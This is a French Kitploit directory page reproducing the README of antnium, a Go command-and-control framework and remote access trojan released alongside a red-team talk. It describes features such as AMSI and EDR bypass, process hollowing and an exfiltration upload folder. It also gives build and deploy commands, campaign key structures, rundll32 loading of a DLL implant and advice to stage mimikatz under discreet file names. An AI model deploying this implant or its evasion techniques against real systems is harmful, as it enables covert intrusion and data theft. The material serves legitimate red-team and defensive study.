Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
antnium — Un framework C2 pour l'accès initial en Go | Kitploit
Outils/GitHubGitHub/dobin/antnium
Exfiltration de DonnéesPost-ExploitationCommandement et ContrôleRed TeamingDéveloppement de Charges UtilesCheval de Troie d'Accès à DistanceArchived
GitHubdobin/antnium

antnium

Un framework C2 pour l'accès initial en Go

Voir le dépôt
20037il y a 4 ansVérifié par Kitploit

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

Antnium

root@kitploit:~
Anti Tanium

Un framework C2 et un RAT écrits en Go.

Ce code source est publié publiquement comme référence pour ma présentation Develop your own RAT - AV & EDR Defense. Antnium est destiné à répondre à mes propres besoins, et non à ceux des autres. Il fonctionne pour les campagnes que j'ai menées, mais n'est pas nécessairement destiné à être un framework C2 générique.

Il y a deux composants :

  • client.exe : le véritable RAT / beacon / agent / implant
  • server.exe : le serveur C2

Fonctionnalités

  • Canal de communication HTTP/S et Websocket
  • Support de proxy (manuel, windows, authentifié et kerberos)
  • Exécution de commandes
    • LOLbins directs
      • Copie du fichier d'abord
      • Process hollowing
    • Shell interactif cmd.exe/Powershell
    • Code distant géré et non géré
      • Utilisation de donut
      • PE en shellcode
      • Chiffré
      • Bypass AMSI
  • Bypass EDR avec Reflexxion (restauration de ntdll.dll)
  • Communication chiffrée
  • C2 malléable
  • Téléversement / téléchargement de fichiers
  • Explorateur de fichiers

Utilisation rapide

Téléchargez et installez Go (et git).

Nous utilisons 127.0.0.1:8080 comme domaine C2 ici (localhost car nous démarrons à la fois client.exe et server.exe sur le même hôte). C'est également la valeur par défaut, pas besoin de changer quoi que ce soit.

Vérifiez la campagne dans campaign/campaign.go :

  • serverUrl = "http://127.0.0.1:8080"

Compilez-le sous Windows :

root@kitploit:~
> .\makewin.bat deploy

Compilez-le sous Linux :

root@kitploit:~
$ make deploy

Démarrez le serveur et le client :

root@kitploit:~
cd build\
.\server.exe
.\static\client.exe

Accédez à l'interface Web en ouvrant l'URL suivante dans le navigateur après avoir démarré server.exe :

root@kitploit:~
http://localhost:8080/webui/

Répertoires

static/ : Répertoire public pour les outils

Placez-y les fichiers que vous souhaitez télécharger sur d'autres machines. Comme client.exe, wingman.exe. Et vos outils, comme mimikatz.exe ou seatbelt.exe. Mais utilisez des noms de fichiers plus discrets.

Les fichiers sont également disponibles via l'API /secure demandée avec des noms de fichiers chiffrés, et un fichier chiffré + encodé en base64 en réponse.

Les fichiers dotNet peuvent être exécutés en utilisant l'option d'exécution remote (accessible via /secure).

upload/ : Répertoire privé pour l'exfiltration de données

Les fichiers téléversés depuis le client y seront stockés.

Instructions de compilation détaillées

Installation de Go :

  • Windows : https://golang.org/doc/install
  • Linux : apt install golang gcc-mingw-w64

Compilez client.exe et server.exe :

root@kitploit:~
> .\makewin.bat deploy

Cela créera :

  • /build/server.exe
  • /build/server.elf
  • /build/static/client.exe
  • /build/static/client.elf
  • /build/static/wingman.exe
  • /build/upload/
  • /build/webui/

Démarrez server.exe :

root@kitploit:~
> cd build
> .\server.exe

Antnium 0.1
Loaded 0 packets from db.packets.json
Loaded 0 clients from db.clients.json 
Periodic DB dump enabled
Starting webserver on 127.0.0.1:8080  

Démarrez client.exe :

root@kitploit:~
> .\build\static\client.exe

Antnium 0.1
time="2021-09-02T21:48:16+02:00" level=info msg="UpstreamHttp: Use WS"
time="2021-09-02T21:48:16+02:00" level=info msg="Connecting to WS succeeded"
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...
time="2021-09-02T21:48:16+02:00" level=info msg=Send 1_computerId=c4oil02sdke2sp3nfngg 2_packetId=0 3_downstreamId=client 4_packetType=ping 5_arguments="map[]" 6_response=...

Notes sur la compilation croisée

Compiler le client Windows depuis Linux fonctionne, mais nécessite un peu de savoir-faire en ligne de commande GO gcc, à cause de certaines dépendances Windows. Si cela ne fonctionne pas immédiatement, compilez le client Windows sous Windows lui-même (makewin.bat client).

Notes sur la configuration de campagne

pkg/campaign/campaign.go relie un client.exe compilé à un server.exe spécifique, ce qui forme une campagne. Une campagne possède des clés de chiffrement et d'authentification individuelles, partagées entre le serveur et le client.

root@kitploit:~
type Campaign struct {
	ApiKey      string  // Key used to access client facing REST
	EncKey      []byte  // Key used to encrypt packets between server/client

	ServerUrl   string  // URL of the server, as viewed from the clients
}

Et la clé d'interface admin / opérateur dans pkt/server/config.go :

root@kitploit:~
type Config struct {
	AdminApiKey string
}

Notez que ServerUrl est l'URL utilisée par le client pour toutes les interactions avec le serveur. C'est l'URL publique du serveur, par ex. http://totallynotmalware.ch. Le server.exe réel peut être derrière un proxy inverse, et démarré avec server.exe --listenaddr 127.0.0.1:8080 (donc ServerUrl n'est pas nécessairement égal à listenaddr).

Notes sur l'accès au serveur

Lors de la première connexion au serveur, vous devez d'abord accéder à l'interface et la configurer.

Les fichiers de l'interface Angular sont accessibles publiquement. Supposons ServerUrl="http://localhost:8080" et listenaddr=0.0.0.0:8080. Vous pouvez soit :

  • utiliser l'antniumui intégré, disponible à http://localhost:8080/webui dans votre navigateur
  • ou ng serve depuis le répertoire antniumui, puis ouvrir http://localhost:4200 dans votre navigateur

Lors de la connexion à l'interface dans le navigateur, vous devez d'abord configurer l'adresse IP du serveur et son mot de passe :

  • AdminApiKey (défaut : « Secret-AdminApi-Key », comme dans la configuration par défaut)
  • ServerIP (défaut : http://localhost:8080)
  • User (optionnel, peut être choisi aléatoirement)

Client

Testé sur :

  • Windows 10
  • Ubuntu 20.04 LTS

Compilez sous Windows :

root@kitploit:~
> .\makewin.bat client

Déployez-le sur votre cible.

Serveur

Testé sur :

  • Fonctionne : Ubuntu 20.04 LTS, Go 1.13.8
  • Fonctionne : Windows 10, Go 1.16.6
  • Échec de compilation : Ubuntu 16.04 LTS, Go 1.6.2

Sous Linux :

root@kitploit:~
$ make server
$ mkdir -p static upload
$ ./server --listenaddr 0.0.0.0:8080

Le résultat est server.exe. Assurez-vous de l'exécuter dans le répertoire où vous avez ou attendez :

  • upload/
  • static/
  • db.*.json comme répertoire de travail.

Il démarrera un serveur REST sur ce port, fournissant :

  • / : REST pour les clients
  • /ws : Websocket pour les clients
  • /admin : REST pour l'interface admin (ajouter un paquet, obtenir les clients)
  • /adminws : Websocket pour l'interface admin (pousser les paquets)
  • /webui : Fichiers HTML pour l'interface admin (source Angular et html, accède à REST et websocket)

Placez un proxy inverse devant (assurez-vous qu'il prend en charge les websockets !) ou redirigez les ports.

Options

Pour un proxy manuel, utilisez l'URL HTTP complète :

root@kitploit:~
client.exe -proxy http://proxy:8080

ou via des variables d'environnement :

root@kitploit:~
export PROXY http://localhost:8080
./client

Wingman

Wingman est essentiellement le Client, mais sans connexion directe au C2. Il peut se connecter à un client existant sur localhost:50000 (assurez-vous qu'il est démarré, si Campaign.AutoStartDownstreams est faux)

Se connecte au port localhost 50000 :

root@kitploit:~
wingman.exe

Ou utilisez rundll32.exe pour charger la dll (la version 64 bits de rundll32 dans system32, pas la version 32 bits dans C:\Windows\SysWOW64\rundll32.exe) :

root@kitploit:~
C:\Windows\System32\rundll32.exe .\wingman.dll,Start

Il apparaîtra comme downstream net#0.

Tests

root@kitploit:~
go test ./...

Il peut encore y avoir des conditions de course. Si cela échoue une fois, exécutez-le à nouveau.

Télécharger l’outil